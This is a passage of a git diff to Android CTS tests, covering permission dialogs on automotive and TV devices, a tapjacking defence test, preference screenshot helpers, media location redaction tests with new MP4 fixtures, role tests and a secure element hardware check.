- } else if (isMediaStorageButton(permission, targetSdk)) {
- R.string.allow_media_storage
- } else if (isAllStorageButton(permission, targetSdk)) {
- R.string.allow_external_storage
- } else {
- R.string.allow
- }
- PermissionState.DENIED ->
- if (!isLegacyApp && hasAskButton(permission)) {
- R.string.ask
- } else {
- R.string.deny
- }
- PermissionState.DENIED_WITH_PREJUDICE -> R.string.deny
+ if (isAutomotive) {
+ // Automotive doesn't support one time permissions, and thus
+ // won't show an "Ask every time" message
+ when (state) {
+ PermissionState.ALLOWED -> R.string.allow
+ PermissionState.DENIED -> R.string.deny
+ PermissionState.DENIED_WITH_PREJUDICE -> R.string.deny
+ }
+ } else {
+ when (state) {
+ PermissionState.ALLOWED ->
+ if (showsForegroundOnlyButton(permission)) {
+ R.string.allow_foreground
+ } else if (isMediaStorageButton(permission, targetSdk)) {
+ R.string.allow_media_storage
+ } else if (isAllStorageButton(permission, targetSdk)) {
+ R.string.allow_external_storage
+ } else {
+ R.string.allow
+ }
+ PermissionState.DENIED ->
+ if (!isLegacyApp && hasAskButton(permission)) {
+ R.string.ask
+ } else {
+ R.string.deny
+ }
+ PermissionState.DENIED_WITH_PREJUDICE -> R.string.deny
+ }
}
)
)
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionReviewTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionReviewTest.kt
index 5b67e6a..f0b1f80 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionReviewTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionReviewTest.kt
@@ -109,10 +109,14 @@
@Test
fun testReviewPermissionWhenServiceIsBound() {
val results = LinkedBlockingQueue<Int>()
- activityRule.launchActivity(null).startService(
+ // We are starting a activity instead of the service directly, because
+ // the service comes from a different app than the CTS tests.
+ // This app will be considered idle on devices that have idling enabled (automotive),
+ // and the service wouldn't be allowed to be started without the activity.
+ activityRule.launchActivity(null).startActivity(
Intent().apply {
component = ComponentName(
- APP_PACKAGE_NAME, "$APP_PACKAGE_NAME.CheckPermissionService"
+ APP_PACKAGE_NAME, "$APP_PACKAGE_NAME.StartCheckPermissionServiceActivity"
)
putExtra(
"$APP_PACKAGE_NAME.RESULT",
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt
index 01b4058..a5f8939 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt
@@ -20,6 +20,7 @@
import android.content.pm.PackageManager
import android.support.test.uiautomator.By
import com.android.compatibility.common.util.SystemUtil
+import org.junit.Assume.assumeFalse
import org.junit.Before
import org.junit.Test
@@ -35,6 +36,9 @@
@Test
fun testTapjackGrantDialog() {
+ // PermissionController for television uses a floating window.
+ assumeFalse(isTv)
+
assertAppHasPermission(ACCESS_FINE_LOCATION, false)
requestAppPermissionsForNoResult(ACCESS_FINE_LOCATION) {}
@@ -45,7 +49,7 @@
SystemUtil.eventually({
if (packageManager.checkPermission(ACCESS_FINE_LOCATION, APP_PACKAGE_NAME) ==
PackageManager.PERMISSION_DENIED) {
- waitFindObject(By.res(ALLOW_FOREGROUND_BUTTON), 100).click()
+ clickPermissionRequestAllowForegroundButton(100)
}
assertAppHasPermission(ACCESS_FINE_LOCATION, true)
}, 10000)
@@ -54,6 +58,10 @@
}
// Permission should not be granted and dialog should still be showing
assertAppHasPermission(ACCESS_FINE_LOCATION, false)
- waitFindObject(By.res(ALLOW_FOREGROUND_BUTTON), 1000)
+
+ // On Automotive the dialog gets closed by the tapjacking activity popping up
+ if (!isAutomotive) {
+ clickPermissionRequestAllowForegroundButton()
+ }
}
}
\ No newline at end of file
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTest29.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTest29.kt
index e5a5ede..5d13748 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionTest29.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTest29.kt
@@ -161,7 +161,11 @@
clickPermissionRequestSettingsLink()
eventually {
pressBack()
- waitFindObject(By.res("com.android.permissioncontroller:id/grant_dialog"), 100)
+ if (isAutomotive) {
+ waitFindObject(By.textContains("Allow in settings."), 100)
+ } else {
+ waitFindObject(By.res("com.android.permissioncontroller:id/grant_dialog"), 100)
+ }
}
}
@@ -181,8 +185,9 @@
android.Manifest.permission.ACCESS_BACKGROUND_LOCATION
) {
clickPermissionRequestSettingsLinkAndDeny()
+ waitForIdle()
+ pressBack()
}
- pressBack()
assertAppHasPermission(android.Manifest.permission.ACCESS_FINE_LOCATION, false)
assertAppHasPermission(android.Manifest.permission.ACCESS_BACKGROUND_LOCATION, false)
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt
index 0abae86..1272355 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt
@@ -49,6 +49,7 @@
requestAppPermissionsAndAssertResult(ACCESS_BACKGROUND_LOCATION to true) {
clickAllowAlwaysInSettings()
+ waitForIdle()
pressBack()
}
}
diff --git a/tests/tests/preference/src/android/preference/cts/PreferenceActivityFlowLandscapeTest.java b/tests/tests/preference/src/android/preference/cts/PreferenceActivityFlowLandscapeTest.java
index 4f0bc3e..0c9a60c 100644
--- a/tests/tests/preference/src/android/preference/cts/PreferenceActivityFlowLandscapeTest.java
+++ b/tests/tests/preference/src/android/preference/cts/PreferenceActivityFlowLandscapeTest.java
@@ -42,7 +42,9 @@
@Before
public void setup() {
requireLandscapeModeSupport();
- mTestUtils = new TestUtils();
+ mActivity = launchActivity(null);
+ mTestUtils = new TestUtils(mActivityRule);
+ mActivity.finish();
}
/**
diff --git a/tests/tests/preference/src/android/preference/cts/PreferenceActivityFlowPortraitTest.java b/tests/tests/preference/src/android/preference/cts/PreferenceActivityFlowPortraitTest.java
index 155b799..8500425 100644
--- a/tests/tests/preference/src/android/preference/cts/PreferenceActivityFlowPortraitTest.java
+++ b/tests/tests/preference/src/android/preference/cts/PreferenceActivityFlowPortraitTest.java
@@ -41,7 +41,9 @@
@Before
public void setup() {
requirePortraitModeSupport();
- mTestUtils = new TestUtils();
+ mActivity = launchActivity(null);
+ mTestUtils = new TestUtils(mActivityRule);
+ mActivity.finish();
}
/**
diff --git a/tests/tests/preference/src/android/preference/cts/PreferenceActivityLegacyFlowTest.java b/tests/tests/preference/src/android/preference/cts/PreferenceActivityLegacyFlowTest.java
index e70a34b..ba6182a 100644
--- a/tests/tests/preference/src/android/preference/cts/PreferenceActivityLegacyFlowTest.java
+++ b/tests/tests/preference/src/android/preference/cts/PreferenceActivityLegacyFlowTest.java
@@ -52,7 +52,7 @@
@Before
public void setup() {
- mTestUtils = new TestUtils();
+ mTestUtils = new TestUtils(mActivityRule);
mActivity = mActivityRule.getActivity();
}
diff --git a/tests/tests/preference/src/android/preference/cts/TestUtils.java b/tests/tests/preference/src/android/preference/cts/TestUtils.java
index d15d99f..30bd9fc 100644
--- a/tests/tests/preference/src/android/preference/cts/TestUtils.java
+++ b/tests/tests/preference/src/android/preference/cts/TestUtils.java
@@ -22,6 +22,7 @@
import android.content.Context;
import android.content.res.Configuration;
import android.graphics.Bitmap;
+import android.graphics.Rect;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiObject2;
@@ -29,8 +30,12 @@
import android.support.test.uiautomator.UiScrollable;
import android.support.test.uiautomator.UiSelector;
import android.support.test.uiautomator.Until;
+import android.util.DisplayMetrics;
+import android.view.Display;
+import android.view.Window;
import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
/**
* Collection of helper utils for testing preferences.
@@ -45,13 +50,17 @@
private final UiAutomation mAutomation;
private int mStatusBarHeight = -1;
private int mNavigationBarHeight = -1;
+ private Display mDisplay;
+ private Window mWindow;
- TestUtils() {
+ TestUtils(ActivityTestRule<?> rule) {
mInstrumentation = InstrumentationRegistry.getInstrumentation();
mContext = mInstrumentation.getTargetContext();
mPackageName = mContext.getPackageName();
mDevice = UiDevice.getInstance(mInstrumentation);
mAutomation = mInstrumentation.getUiAutomation();
+ mDisplay = rule.getActivity().getDisplay();
+ mWindow = rule.getActivity().getWindow();
}
void waitForIdle() {
@@ -75,7 +84,7 @@
int xToCut = isOnWatchUiMode() ? bt.getWidth() / 5 : bt.getWidth() / 20;
int yToCut = statusBarHeight;
- if (isLandscape()) {
+ if (hasVerticalNavBar()) {
xToCut += navigationBarHeight;
} else {
yToCut += navigationBarHeight;
@@ -154,9 +163,12 @@
return mNavigationBarHeight;
}
- private boolean isLandscape() {
- return mInstrumentation.getTargetContext().getResources().getConfiguration().orientation
- == Configuration.ORIENTATION_LANDSCAPE;
+ private boolean hasVerticalNavBar() {
+ Rect displayFrame = new Rect();
+ mWindow.getDecorView().getWindowVisibleDisplayFrame(displayFrame);
+ DisplayMetrics dm = new DisplayMetrics();
+ mDisplay.getRealMetrics(dm);
+ return dm.heightPixels == displayFrame.bottom;
}
private UiObject2 getTextObject(String text) {
diff --git a/tests/tests/provider/res/raw/moov-at-end-zero-len.mp4 b/tests/tests/provider/res/raw/moov-at-end-zero-len.mp4
new file mode 100644
index 0000000..5b307e2
--- /dev/null
+++ b/tests/tests/provider/res/raw/moov-at-end-zero-len.mp4
Binary files differ
diff --git a/tests/tests/provider/res/raw/moov-at-end.mp4 b/tests/tests/provider/res/raw/moov-at-end.mp4
new file mode 100644
index 0000000..cdf74b5
--- /dev/null
+++ b/tests/tests/provider/res/raw/moov-at-end.mp4
Binary files differ
diff --git a/tests/tests/provider/res/raw/testvideo_meta.mp4 b/tests/tests/provider/res/raw/testvideo_meta.mp4
index 8f04b40..e83c61d 100644
--- a/tests/tests/provider/res/raw/testvideo_meta.mp4
+++ b/tests/tests/provider/res/raw/testvideo_meta.mp4
Binary files differ
diff --git a/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java b/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
index feeb87cb..942d4f4 100644
--- a/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
+++ b/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
@@ -22,8 +22,10 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
+import android.app.AppOpsManager;
import android.app.UiAutomation;
import android.content.Context;
+import android.content.pm.PackageManager;
import android.content.res.AssetFileDescriptor;
import android.database.Cursor;
import android.graphics.Bitmap;
@@ -35,6 +37,7 @@
import android.os.Environment;
import android.os.FileUtils;
import android.os.ParcelFileDescriptor;
+import android.os.Process;
import android.os.UserManager;
import android.os.storage.StorageManager;
import android.os.storage.StorageVolume;
@@ -252,11 +255,21 @@
if (userManager.isSystemUser() &&
FileUtils.contains(Environment.getStorageDirectory(), file)) {
executeShellCommand("mkdir -p " + file.getParent());
+ waitUntilExists(file.getParentFile());
try (AssetFileDescriptor afd = context.getResources().openRawResourceFd(resId)) {
final File source = ParcelFileDescriptor.getFile(afd.getFileDescriptor());
final long skip = afd.getStartOffset();
final long count = afd.getLength();
+ try {
+ // Try to create the file as calling package so that calling package remains
+ // as owner of the file.
+ file.createNewFile();
+ } catch (IOException ignored) {
+ // Apps can't create files in other app's private directories, but shell can. If
+ // file creation fails, we ignore and let `dd` command create it instead.
+ }
+
executeShellCommand(String.format("dd bs=1 if=%s skip=%d count=%d of=%s",
source.getAbsolutePath(), skip, count, file.getAbsolutePath()));
@@ -471,4 +484,31 @@
throw new IllegalArgumentException();
}
}
+
+ /** Revokes ACCESS_MEDIA_LOCATION from the test app */
+ public static void revokeMediaLocationPermission(Context context) throws Exception {
+ try {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .adoptShellPermissionIdentity("android.permission.MANAGE_APP_OPS_MODES",
+ "android.permission.REVOKE_RUNTIME_PERMISSIONS");
+
+ // Revoking ACCESS_MEDIA_LOCATION permission will kill the test app.
+ // Deny access_media_permission App op to revoke this permission.
+ PackageManager packageManager = context.getPackageManager();
+ String packageName = context.getPackageName();
+ if (packageManager.checkPermission(android.Manifest.permission.ACCESS_MEDIA_LOCATION,
+ packageName) == PackageManager.PERMISSION_GRANTED) {
+ context.getPackageManager().updatePermissionFlags(
+ android.Manifest.permission.ACCESS_MEDIA_LOCATION, packageName,
+ PackageManager.FLAG_PERMISSION_REVOKED_COMPAT,
+ PackageManager.FLAG_PERMISSION_REVOKED_COMPAT, context.getUser());
+ context.getSystemService(AppOpsManager.class).setUidMode(
+ "android:access_media_location", Process.myUid(),
+ AppOpsManager.MODE_IGNORED);
+ }
+ } finally {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation().
+ dropShellPermissionIdentity();
+ }
+ }
}
diff --git a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
index 8a4619e..9d3755a 100644
--- a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
+++ b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
@@ -17,6 +17,7 @@
package android.provider.cts;
import static com.google.common.truth.Truth.assertThat;
+import static org.junit.Assume.assumeFalse;
import static org.junit.Assume.assumeTrue;
import android.content.Context;
@@ -89,6 +90,8 @@
Intent settingsIntent = new Intent(android.provider.Settings.ACTION_SETTINGS);
mSettingsPackage = packageManager.resolveActivity(settingsIntent,
PackageManager.MATCH_DEFAULT_ONLY).activityInfo.packageName;
+
+ assumeFalse("Skipping test: Auto does not support provider android.settings.panel", isCar());
}
@After
@@ -110,6 +113,7 @@
@Test
public void volumePanel_correctPackage() {
+ assumeTrue(mHasTouchScreen);
launchVolumePanel();
String currentPackage = mDevice.getCurrentPackageName();
@@ -181,6 +185,7 @@
@Test
public void volumePanel_doneClosesPanel() {
+ assumeTrue(mHasTouchScreen);
// Launch panel
launchVolumePanel();
String currentPackage = mDevice.getCurrentPackageName();
@@ -262,13 +267,13 @@
@Test
public void volumePanel_seeMoreButton_launchesIntoSettings() {
+ assumeTrue(mHasTouchScreen);
// Launch panel
launchVolumePanel();
String currentPackage = mDevice.getCurrentPackageName();
assertThat(currentPackage).isEqualTo(mSettingsPackage);
// Click the see more button
- assumeTrue(mHasTouchScreen);
pressSeeMore();
// Assert that we're still in Settings, on a different page.
@@ -382,4 +387,9 @@
mDevice.findObject(By.res(mSettingsPackage, RESOURCE_SEE_MORE)).click();
mDevice.wait(Until.hasObject(By.pkg(mSettingsPackage).depth(0)), TIMEOUT);
}
+
+ private boolean isCar() {
+ PackageManager pm = mContext.getPackageManager();
+ return pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+ }
}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java
index df47fac..1d18a8a 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java
@@ -25,12 +25,10 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
-import android.app.AppOpsManager;
import android.content.ContentResolver;
import android.content.ContentUris;
import android.content.ContentValues;
import android.content.Context;
-import android.content.pm.PackageManager;
import android.database.Cursor;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
@@ -40,7 +38,6 @@
import android.os.Environment;
import android.os.FileUtils;
import android.os.ParcelFileDescriptor;
-import android.os.Process;
import android.os.storage.StorageManager;
import android.provider.BaseColumns;
import android.provider.MediaStore;
@@ -300,8 +297,6 @@
*/
@Test
public void testUpdateAndReplace() throws Exception {
- Assume.assumeFalse(mVolumeName.equals(MediaStore.VOLUME_EXTERNAL));
-
File dir = mContext.getSystemService(StorageManager.class)
.getStorageVolume(mExternalImages).getDirectory();
File dcimDir = new File(dir, Environment.DIRECTORY_DCIM);
@@ -339,8 +334,6 @@
@Test
public void testUpsert() throws Exception {
- Assume.assumeFalse(mVolumeName.equals(MediaStore.VOLUME_EXTERNAL));
-
File dir = mContext.getSystemService(StorageManager.class)
.getStorageVolume(mExternalImages).getDirectory();
File dcimDir = new File(dir, Environment.DIRECTORY_DCIM);
@@ -395,30 +388,12 @@
assertNotNull(mContentResolver.loadThumbnail(uri, new Size(96, 96), null));
}
- /**
- * This test doesn't hold
- * {@link android.Manifest.permission#ACCESS_MEDIA_LOCATION}, so Exif
- * location information should be redacted.
- */
@Test
public void testLocationRedaction() throws Exception {
// STOPSHIP: remove this once isolated storage is always enabled
Assume.assumeTrue(StorageManager.hasIsolatedStorage());
-
- final String displayName = "cts" + System.nanoTime();
- final PendingParams params = new PendingParams(
- mExternalImages, displayName, "image/jpeg");
-
- final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
- final Uri publishUri;
- try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
- try (InputStream in = mContext.getResources().openRawResource(R.raw.lg_g4_iso_800_jpg);
- OutputStream out = session.openOutputStream()) {
- android.os.FileUtils.copy(in, out);
- }
- publishUri = session.publish();
- }
-
+ final Uri publishUri = ProviderTestUtils.stageMedia(R.raw.lg_g4_iso_800_jpg, mExternalImages,
+ "image/jpeg");
final Uri originalUri = MediaStore.setRequireOriginal(publishUri);
// Since we own the image, we should be able to see the Exif data that
@@ -439,32 +414,8 @@
try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
}
- // Remove ACCESS_MEDIA_LOCATION permission
- try {
- InstrumentationRegistry.getInstrumentation().getUiAutomation()
- .adoptShellPermissionIdentity("android.permission.MANAGE_APP_OPS_MODES",
- "android.permission.REVOKE_RUNTIME_PERMISSIONS");
-
- // Revoking ACCESS_MEDIA_LOCATION permission will kill the test app.
- // Deny access_media_permission App op to revoke this permission.
- PackageManager packageManager = mContext.getPackageManager();
- String packageName = mContext.getPackageName();
- if (packageManager.checkPermission(android.Manifest.permission.ACCESS_MEDIA_LOCATION,
- packageName) == PackageManager.PERMISSION_GRANTED) {
- mContext.getPackageManager().updatePermissionFlags(
- android.Manifest.permission.ACCESS_MEDIA_LOCATION, packageName,
- PackageManager.FLAG_PERMISSION_REVOKED_COMPAT,
- PackageManager.FLAG_PERMISSION_REVOKED_COMPAT, mContext.getUser());
- mContext.getSystemService(AppOpsManager.class).setUidMode(
- "android:access_media_location", Process.myUid(),
- AppOpsManager.MODE_IGNORED);
- }
- } finally {
- InstrumentationRegistry.getInstrumentation().getUiAutomation().
- dropShellPermissionIdentity();
- }
-
- // Now remove ownership, which means that Exif/XMP location data should be redacted
+ // Revoke location access and remove ownership, which means that location should be redacted
+ ProviderTestUtils.revokeMediaLocationPermission(mContext);
ProviderTestUtils.clearOwner(publishUri);
try (InputStream is = mContentResolver.openInputStream(publishUri)) {
final ExifInterface exif = new ExifInterface(is);
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
index dca7382..88295eb 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
@@ -27,19 +27,16 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
-import android.app.AppOpsManager;
import android.content.ContentResolver;
import android.content.ContentUris;
import android.content.ContentValues;
import android.content.Context;
-import android.content.pm.PackageManager;
import android.database.Cursor;
import android.media.MediaMetadataRetriever;
import android.net.Uri;
import android.os.Environment;
import android.os.FileUtils;
import android.os.ParcelFileDescriptor;
-import android.os.Process;
import android.os.storage.StorageManager;
import android.provider.MediaStore;
import android.provider.MediaStore.Files.FileColumns;
@@ -203,41 +200,32 @@
return context.getContentResolver().insert(mExternalVideo, values);
}
- /**
- * This test doesn't hold
- * {@link android.Manifest.permission#ACCESS_MEDIA_LOCATION}, so Exif and XMP
- * location information should be redacted.
- */
@Test
- public void testLocationRedaction() throws Exception {
- // STOPSHIP: remove this once isolated storage is always enabled
- Assume.assumeTrue(StorageManager.hasIsolatedStorage());
-
- final String displayName = "cts" + System.nanoTime();
- final PendingParams params = new PendingParams(
- mExternalVideo, displayName, "video/mp4");
-
- final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
- final Uri publishUri;
- try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
- try (InputStream in = mContext.getResources().openRawResource(R.raw.testvideo_meta);
- OutputStream out = session.openOutputStream()) {
- FileUtils.copy(in, out);
- }
- publishUri = session.publish();
- }
-
+ public void testOriginalAccess() throws Exception {
+ final Uri publishUri = ProviderTestUtils.stageMedia(R.raw.testvideo_meta, mExternalVideo,
+ "video/mp4");
final Uri originalUri = MediaStore.setRequireOriginal(publishUri);
- // Since we own the video, we should be able to see the location
- // we ourselves contributed
- try (ParcelFileDescriptor pfd = mContentResolver.openFile(publishUri, "r", null);
- MediaMetadataRetriever mmr = new MediaMetadataRetriever()) {
- mmr.setDataSource(pfd.getFileDescriptor());
- assertEquals("+37.4217-122.0834/",
- mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_LOCATION));
- assertEquals("2", mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_NUM_TRACKS));
+ // As owner, we should be able to request the original bytes
+ try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
}
+
+ // Revoke location access and remove ownership, which means that location should be redacted
+ ProviderTestUtils.revokeMediaLocationPermission(mContext);
+ ProviderTestUtils.clearOwner(publishUri);
+
+ // We can't request original bytes unless we have permission
+ try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
+ fail("Able to read original content without ACCESS_MEDIA_LOCATION");
+ } catch (UnsupportedOperationException expected) {
+ }
+ }
+
+ @Test
+ public void testXmpLocationRedaction() throws Exception {
+ final Uri publishUri = ProviderTestUtils.stageMedia(R.raw.testvideo_meta, mExternalVideo,
+ "video/mp4");
+
try (InputStream in = mContentResolver.openInputStream(publishUri);
ByteArrayOutputStream out = new ByteArrayOutputStream()) {
FileUtils.copy(in, out);
@@ -248,44 +236,11 @@
assertTrue("Failed to read XMP latitude", xmp.contains("53,50.070500N"));
assertTrue("Failed to read non-location XMP", xmp.contains("13166/7763"));
}
- // As owner, we should be able to request the original bytes
- try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
- }
- // Remove ACCESS_MEDIA_LOCATION permission
- try {
- InstrumentationRegistry.getInstrumentation().getUiAutomation()
- .adoptShellPermissionIdentity("android.permission.MANAGE_APP_OPS_MODES",
- "android.permission.REVOKE_RUNTIME_PERMISSIONS");
-
- // Revoking ACCESS_MEDIA_LOCATION permission will kill the test app.
- // Deny access_media_permission App op to revoke this permission.
- PackageManager packageManager = mContext.getPackageManager();
- String packageName = mContext.getPackageName();
- if (packageManager.checkPermission(android.Manifest.permission.ACCESS_MEDIA_LOCATION,
- packageName) == PackageManager.PERMISSION_GRANTED) {
- mContext.getPackageManager().updatePermissionFlags(
- android.Manifest.permission.ACCESS_MEDIA_LOCATION, packageName,
- PackageManager.FLAG_PERMISSION_REVOKED_COMPAT,
- PackageManager.FLAG_PERMISSION_REVOKED_COMPAT, mContext.getUser());
- mContext.getSystemService(AppOpsManager.class).setUidMode(
- "android:access_media_location", Process.myUid(),
- AppOpsManager.MODE_IGNORED);
- }
- } finally {
- InstrumentationRegistry.getInstrumentation().getUiAutomation().
- dropShellPermissionIdentity();
- }
-
- // Now remove ownership, which means that location should be redacted
+ // Revoke location access and remove ownership, which means that location should be redacted
+ ProviderTestUtils.revokeMediaLocationPermission(mContext);
ProviderTestUtils.clearOwner(publishUri);
- try (ParcelFileDescriptor pfd = mContentResolver.openFile(publishUri, "r", null);
- MediaMetadataRetriever mmr = new MediaMetadataRetriever()) {
- mmr.setDataSource(pfd.getFileDescriptor());
- assertEquals(null,
- mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_LOCATION));
- assertEquals("2", mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_NUM_TRACKS));
- }
+
try (InputStream in = mContentResolver.openInputStream(publishUri);
ByteArrayOutputStream out = new ByteArrayOutputStream()) {
FileUtils.copy(in, out);
@@ -296,10 +251,52 @@
assertFalse("Failed to redact XMP latitude", xmp.contains("53,50.070500N"));
assertTrue("Redacted non-location XMP", xmp.contains("13166/7763"));
}
- // We can't request original bytes unless we have permission
- try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
- fail("Able to read original content without ACCESS_MEDIA_LOCATION");
- } catch (UnsupportedOperationException expected) {
+ }
+
+ @Test
+ public void testIsoLocationRedaction() throws Exception {
+ // STOPSHIP: remove this once isolated storage is always enabled
+ Assume.assumeTrue(StorageManager.hasIsolatedStorage());
+
+ // These videos have all had their ISO location metadata (in the (c)xyz box) artificially
+ // modified to +58.0000+011.0000 (middle of Skagerrak).
+ int[] videoIds = new int[] {
+ R.raw.testvideo_meta,
+ R.raw.moov_at_end,
+ R.raw.moov_at_end_zero_len,
+ };
+ Uri[] uris = new Uri[videoIds.length];
+ for (int i = 0; i < videoIds.length; i++) {
+ uris[i] = ProviderTestUtils.stageMedia(videoIds[i], mExternalVideo, "video/mp4");
+ }
+
+ for (int i = 0; i < uris.length; i++) {
+ // Since we own the video, we should be able to see the location
+ // we ourselves contributed
+ try (ParcelFileDescriptor pfd = mContentResolver.openFile(uris[i], "r", null);
+ MediaMetadataRetriever mmr = new MediaMetadataRetriever()) {
+ mmr.setDataSource(pfd.getFileDescriptor());
+ assertEquals("+58.0000+011.0000/",
+ mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_LOCATION));
+ assertEquals("2",
+ mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_NUM_TRACKS));
+ }
+ }
+
+ // Revoke location access and remove ownership, which means that location should be redacted
+ ProviderTestUtils.revokeMediaLocationPermission(mContext);
+
+ for (int i = 0; i < uris.length; i++) {
+ ProviderTestUtils.clearOwner(uris[i]);
+
+ try (ParcelFileDescriptor pfd = mContentResolver.openFile(uris[i], "r", null);
+ MediaMetadataRetriever mmr = new MediaMetadataRetriever()) {
+ mmr.setDataSource(pfd.getFileDescriptor());
+ assertEquals(null,
+ mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_LOCATION));
+ assertEquals("2",
+ mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_NUM_TRACKS));
+ }
}
}
diff --git a/tests/tests/role/AndroidTest.xml b/tests/tests/role/AndroidTest.xml
index 71a4861..4a8189f 100644
--- a/tests/tests/role/AndroidTest.xml
+++ b/tests/tests/role/AndroidTest.xml
@@ -23,6 +23,7 @@
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk30ModuleController" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java b/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
index 60cac6a..00ddc34 100644
--- a/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
+++ b/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
@@ -255,6 +255,10 @@
requestRole(ROLE_NAME);
findDontAskAgainCheck().click();
clickButtonAndWaitForResult(true);
+ // Wait for the RequestRoleActivity inside the test app to be removed from our task so that
+ // when the test app is force stopped, our task isn't force finished and our
+ // WaitForResultActivity can survive.
+ Thread.sleep(5000);
clearPackageData(APP_PACKAGE_NAME);
// Wait for the don't ask again to be forgotten.
@@ -285,6 +289,10 @@
requestRole(ROLE_NAME);
findDontAskAgainCheck().click();
clickButtonAndWaitForResult(true);
+ // Wait for the RequestRoleActivity inside the test app to be removed from our task so that
+ // when the test app is uninstalled, our task isn't force finished and our
+ // WaitForResultActivity can survive.
+ Thread.sleep(5000);
uninstallPackage(APP_PACKAGE_NAME);
// Wait for the don't ask again to be forgotten.
diff --git a/tests/tests/secure_element/omapi/apk/signed-CtsOmapiTestCases.apk b/tests/tests/secure_element/omapi/apk/signed-CtsOmapiTestCases.apk
index a6cbfd8..53275fd 100644
--- a/tests/tests/secure_element/omapi/apk/signed-CtsOmapiTestCases.apk
+++ b/tests/tests/secure_element/omapi/apk/signed-CtsOmapiTestCases.apk
Binary files differ
diff --git a/tests/tests/secure_element/omapi/src/android/omapi/cts/OmapiTest.java b/tests/tests/secure_element/omapi/src/android/omapi/cts/OmapiTest.java
index da99ff0..5d56ded 100644
--- a/tests/tests/secure_element/omapi/src/android/omapi/cts/OmapiTest.java
+++ b/tests/tests/secure_element/omapi/src/android/omapi/cts/OmapiTest.java
@@ -24,6 +24,7 @@
import android.content.pm.PackageManager;
import android.os.Build;
+import android.os.SystemProperties;
import android.se.omapi.Channel;
import android.se.omapi.Reader;
import android.se.omapi.SEService;
@@ -154,7 +155,7 @@
private boolean supportsHardware() {
final PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
- boolean lowRamDevice = PropertyUtil.propertyEquals("ro.config.low_ram", "true");
+ boolean lowRamDevice = SystemProperties.getBoolean("ro.config.low_ram", false);
return !lowRamDevice || pm.hasSystemFeature("android.hardware.type.watch")
|| hasSecureElementPackage(pm);
}
